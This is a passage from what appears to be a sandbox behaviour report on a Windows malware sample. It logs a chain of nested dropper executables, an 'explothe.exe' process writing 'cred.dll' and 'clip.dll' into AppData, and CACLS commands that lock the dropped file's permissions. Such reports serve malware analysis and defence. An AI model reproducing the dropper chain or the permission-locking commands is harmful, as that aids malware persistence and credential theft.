"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")36:T536,"AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")37:T801,"2Aq2815.exe" queries volume information of "C:\" at 00000000-00000488-0000010C-10036313417182256 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00001792-0000010C-14572625 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00001792-0000010C-17869195 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00001792-0000010C-28373137 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00001792-0000010C-29043397 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001792-0000010C-39170531 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00001792-0000010C-10036313422710909 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\fefffe8cea\explothe.exe" at 00000000-00002164-0000010C-5928108 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00002164-0000010C-26087000 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00002164-0000010C-26096027 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00002164-0000010C-28577638 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00002164-0000010C-2858581538:T6ff,"AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION")39:T781,"2Aq2815.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00000488) "2Aq2815.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00000488) "2Aq2815.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00000488) "2Aq2815.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00000488) "2Aq2815.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00000488) "2Aq2815.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00000488) "AppLaunch.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001792) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001792) "AppLaunch.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SystemCache (UID: 00000000-00001792) "5VA7se4.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003116) "explothe.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002164) "explothe.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00002164) "explothe.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00002164) "explothe.exe" called "CreateDirectoryA" with parameter %APPDATA%\006700e5a2ab05 (UID: 00000000-00002164) "6hE6Ue0.exe" called "CreateDirectoryW" with parameter %TEMP%\838A.tmp (UID: 00000000-00000368) "6hE6Ue0.exe" called "CreateDirectoryW" with parameter %TEMP%\838A.tmp\838B.tmp (UID: 00000000-00000368) "6hE6Ue0.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00000368)3a:T66a,"file.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\6hE6Ue0.exe" - (UID: 00000000-00002448) "file.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\Vo8ml85.exe" - (UID: 00000000-00002448) "Vo8ml85.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\aM0RY76.exe" - (UID: 00000000-00002464) "Vo8ml85.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\5VA7se4.exe" - (UID: 00000000-00002464) "aM0RY76.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\kx3Tv79.exe" - (UID: 00000000-00003844) "aM0RY76.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\4nL947Ei.exe" - (UID: 00000000-00003844) "kx3Tv79.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\FM0nA02.exe" - (UID: 00000000-00003636) "kx3Tv79.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\3Hh02Er.exe" - (UID: 00000000-00003636) "FM0nA02.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\1BC12Pi1.exe" - (UID: 00000000-00003964) "FM0nA02.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\2Aq2815.exe" - (UID: 00000000-00003964) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://accounts.google.com/" - (UID: 00000000-00002412) "cmd.exe" called "CreateProcessW" with parameter "CACLS "explothe.exe" /P "%OSUSER%:N"" - (UID: 00000000-00003492) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" echo Y"" - (UID: 00000000-00003492) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\fefffe8cea" /P "%OSUSER%:R" /E" - (UID: 00000000-00003492)3b:T6983,"file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002448) "Vo8ml85.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002464) "Vo8ml85.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002464) "Vo8ml85.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002464) "Vo8ml85.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002464) "Vo8ml85.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002464) "aM0RY76.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003844) "kx3Tv79.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003636) "kx3Tv79.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003636) "kx3Tv79.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003636) "kx3Tv79.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003636) "kx3Tv79.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003636) "FM0nA02.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003964) "FM0nA02.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003964) "FM0nA02.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003964) "FM0nA02.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003964) "FM0nA02.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00003964) "FM0nA02.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003964) "1BC12Pi1.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001536) "1BC12Pi1.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001536) "2Aq2815.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00000488) "2Aq2815.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00000488) "3Hh02Er.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003992) "4nL947Ei.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000808) "4nL947Ei.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000808) "4nL947Ei.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000808) "4nL947Ei.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000808) "4nL947Ei.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00000808) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 